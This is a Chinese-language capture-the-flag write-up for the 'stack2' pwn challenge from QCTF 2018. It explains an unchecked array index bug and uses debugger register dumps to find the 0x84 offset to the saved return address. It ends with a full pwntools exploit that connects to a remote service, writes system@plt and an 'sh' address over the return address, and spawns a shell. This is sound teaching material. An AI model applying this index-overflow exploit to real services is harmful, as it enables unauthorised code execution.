stack2
題目來源: XCTF 4th-QCTF-2018
[collapse title=“展開查看詳情” status=“false”]
考點:數字下標溢出
保護情況:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
漏洞函數:
puts("which number to change:"); // change
__isoc99_scanf("%d", &index); //沒有檢查下標
puts("new number:");
__isoc99_scanf("%d", &num);
num_list[index] = num;
程序中找到有預留的後門函數,所以通過數組越界修改返回地址到後門。所以需要尋找 num_list 與 eip 的偏移。
尋找 eip 在棧上地址比較容易,將斷點打在 main 退出前(0x080488EF),查看寄存器值:
────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────
EAX 0x0
EBX 0x0
ECX 0xffffcfa0 ◂— 0x1
EDX 0xf7fb887c (_IO_stdfile_0_lock) ◂— 0x0
EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
EBP 0x0
# 返回地址在棧上位置
ESP 0xffffcf9c —▸ 0xf7e1d637 (__libc_start_main+247) ◂— add esp, 0x10
EIP 0x80488f2 (main+802) ◂— 0x669066c3
────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
► f 0 80488f2 main+802
f 1 f7e1d637 __libc_start_main+247
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
寫入地址在寫入或者 show 操作彙編打斷點,下面在錄入時打斷點找:
080486BD call ___isoc99_scanf
080486C2 add esp, 10h
080486C5 mov eax, [ebp+num]
080486CB mov ecx, eax
080486CD lea edx, [ebp+num_list]//寫入棧上
080486D0 mov eax, [ebp+var_7C]
080486D3 add eax, edx
080486D5 mov [eax], cl
080486D7 add [ebp+var_7C], 1
調試查看寄存器找到地址:
────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────
EAX 0x56
EBX 0x0
ECX 0x56
#寫入地址
EDX 0xffffcf18 ◂— 0x45 /* 'E' */
EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
EBP 0xffffcf88 ◂— 0x0
ESP 0xffffcee0 —▸ 0xf7ffda74 —▸ 0xf7fd5470 —▸ 0xf7ffd918 ◂— 0x0
EIP 0x80486d0 (main+256) ◂— 0x184458b
──────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────
0x80486c2 <main+242> add esp, 0x10
0x80486c5 <main+245> mov eax, dword ptr [ebp - 0x88]
0x80486cb <main+251> mov ecx, eax
0x80486cd <main+253> lea edx, [ebp - 0x70]
► 0x80486d0 <main+256> mov eax, dword ptr [ebp - 0x7c]
0x80486d3 <main+259> add eax, edx
0x80486d5 <main+261> mov byte ptr [eax], cl
0x80486d7 <main+263> add dword ptr [ebp - 0x7c], 1
0x80486db <main+267> mov edx, dword ptr [ebp - 0x7c]
0x80486de <main+270> mov eax, dword ptr [ebp - 0x90]
0x80486e4 <main+276> cmp edx, eax
計算得出偏移:0xffffcf9c
-0xffffcf18
=0x84
**後門函數只能本地打通,遠程服務器沒有 bash 指令。**我就 ROP 和泄露 libc 地址了。看了大佬 wp 發現 system(sh)
也能 getshell ,所以腳本如下:
完整exp:
from pwn import *
context.log_level = 'debug'
p = process("./stack2")
p = remote("124.126.19.106",42070)
def change(index,context):
p.sendlineafter("exit",'3')
p.sendlineafter('change',str(index))
p.sendlineafter("number",str(context))
p.sendlineafter("have:",'2')
p.sendline(str(0x45))
p.sendline(str(0x56))
#system_plt
change(0x84+0,0x50)
change(0x84+1,0x84)
change(0x84+2,0x04)
change(0x84+3,0x08)
#gdb.attach(p)
#sh
change(0x84+8,0x87)
change(0x84+9,0x89)
change(0x84+10,0x04)
change(0x84+11,0x08)
p.sendlineafter("exit",'5')
p.interactive()
[/collapse]